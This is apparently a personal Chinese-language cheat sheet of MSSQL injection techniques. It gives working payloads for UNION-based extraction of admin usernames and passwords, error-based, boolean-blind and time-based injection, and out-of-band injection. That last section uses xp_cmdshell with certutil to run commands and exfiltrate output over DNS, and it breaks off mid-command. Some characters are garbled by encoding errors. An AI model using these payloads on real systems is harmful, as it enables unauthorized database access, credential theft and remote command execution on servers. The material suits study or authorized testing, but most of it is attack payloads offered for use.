个人MSSQL总结及收集
常规MSSQL注入
判断是否站库分离
1、���到客户端主机名:select host_name();
2、得到服务端主机名:select @@servername;
如下所示,就是一个典型的站库分离@@servername > 0select host_name > 0
基本语法:select host_name();select current_user; 查看当前用户——显示dbo,其实dbo和sa是一个东西,一个是登录名一个是用户名select db_name(); 查看当前库名select * from sysobject 查询数据库里所有的表,里面有多个字段,xtype=U为用户创建的表名,uid为所有者对象的用户IDselect object_id(‘xxxx’) 查询特定的数据表,返回一个idselect object_name(‘123456’) 查询特定的id,返回一个表名select col_name(‘123456’,1) 查询特定ID(特定表)的特定字段,返回此字段(column)的值
基础知识
**Sysdatabases表:**该表保存在master数据库中,这个表中保存的是所有的库名,以及库的ID,和一些相关信息**Sysobjects表: **SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象,如约束、 默认值、日志、规则、存储过程等,每个对象在表中占一行。以下是此系统表的字段名称和相关说明:**Name, id, xtype, uid, status: **分别是对象名,对象ID,对象类型,所有者对象的用户ID,对象状态。**当xtype=‘U’ and status>0 **代表是用户建立的表,对象名就是表名,对象ID就是表的ID值。**Syscolumns表:**该表位于每个数据库中。主要字段有: name , id, colid :分别是字段名称,表ID号,字段ID号,其中的 ID 是用sysobjects得到的表的ID号
内置系统查询表select name from master…sysdatabases; //查找所有的数据库名SELECT name FROM master…sysdatabases WHERE name NOT IN ( ‘master’,‘model’, ‘msdb’, ‘tempdb’, ‘northwind’,‘pubs’ ); //查找所有的数据库名
select name from sysobjects where xtype=‘U’; //查找所有用户创建的数据表
select name from test…sysobjects where xtype=‘U’ //查找指定test库下所有表名select name from syscolumns where id=(select id from 数据库名…sysobjects where name=‘表名’) //列出指定库下的表下面的列名
如:select name from syscolumns where id=(select id from test..sysobjects where name='dtest')
或者select name from test.dbo.syscolumns where id=(select id from test.dbo.sysobjects where (xtype=‘U’ or xtype=‘V’ ) and name=‘dtest’)test为库名,dtest为表名, cmd为字段名知道了表名和列名,剩下的就无需多言了select * from test…dtest;select count(*) from test…dtestselect top 10 cmd from test…dtest
1)MSSQL的联合查询:
1、id=1%’ order by 4 – Order by 判断列数2、id=1%’ union all select 1,2,3,4 – 判断回显位置3、id=1%’ union all select ‘1’,db_name(),‘3’,‘4’ – 判断当前数据库4、id=1%’ union all select ‘1’,name,‘3’,‘4’,5,6 from ST_WebCourse…sysobjects where xtype=‘U’ – 判断数据库下面的表名5、id= 1%’ union all select ‘1’,name,‘3’,‘4’,5,6 from ST_Webcourse…syscolumns whereid=(select id from ST_Webcourse…sysobjects where name=‘ST_admin’) –判断数据表的列名6、id=1%’ union all select ‘1’,admin,‘3’,‘4’,5,6 from ST_admin – ; 获取账户名id=1%’ union all select ‘1’,pass,‘3’,‘4’,5,6 from ST_admin – 获取密码
2)MSSQL的报错注入:
1、and 1=(select @@version) ) // 获取数据库版本 1.1、and 1=1/@@version 换种方式2、id =‘1’ and 1=2 and (select id from sysobjects)>0 //判断当前数据库是否为mssql3、id=1 and 1=(select current_user) 获取数据库当前用户4、1%’ and 1=(select db_name()) – 获取当前数据库名5、获取test数据库的第一个表名1’ and 1=(select top 1 name from test…sysobjects where xtype=‘U’ and name not in (select top 1 name from test…sysobjects where xtype=‘U’)) – 或者select ID from Table_1 where id =convert(integer,(select top 1 name from test…sysobjects where xtype=‘U’ and name not in (select top 1 name from test…sysobjects where xtype=‘U’))) –6、MSSQL报错可以用整数型报错,强转型报错以及castconvert(integer,user)–1=cast(host_name() as int) --+select cast(db_name() as char)
3)MSSQL的盲注
1、?id=1 and substring((select db_name()),1,1)= CHAR(106) 判断当前数据库第一个字符为106
4)时间盲注
id=1’;waitfor delay ‘0:0:5’ – 如果是sysadmin权限,则延时5秒1’;if ( select IS_SRVROLEMEMBER(‘sysadmin’))=1 WAITFOR DELAY ‘0:0:5’–
5)mssql带外注入
1、在某些情况下,sqlmap使用os-shell来获取权限需要堆叠,不是它说没有就没有(有时候它会抽风),此时我们可以进行DNS外带的验证,前提是要出网1、select * from table_1 where id=‘1’;exec master…xp_cmdshell ‘whoami>C:\ProgramData\temp && certutil -encode C:\ProgramData\temp C:\ProgramData\temp1 && findstr /L /V “CERTIFICATE” C:\ProgramData\temp1>C:\ProgramData\temp2’;此时temp2内容为——bXNpXGFkbWluaXN0cmF0b3INCg==
因为ping不支持等于号,所以建议使用Nslookup2、select * from table_1 where id=‘1’;exec master…xp_cmdshell ““cmd /v /c “set /p MYVAR=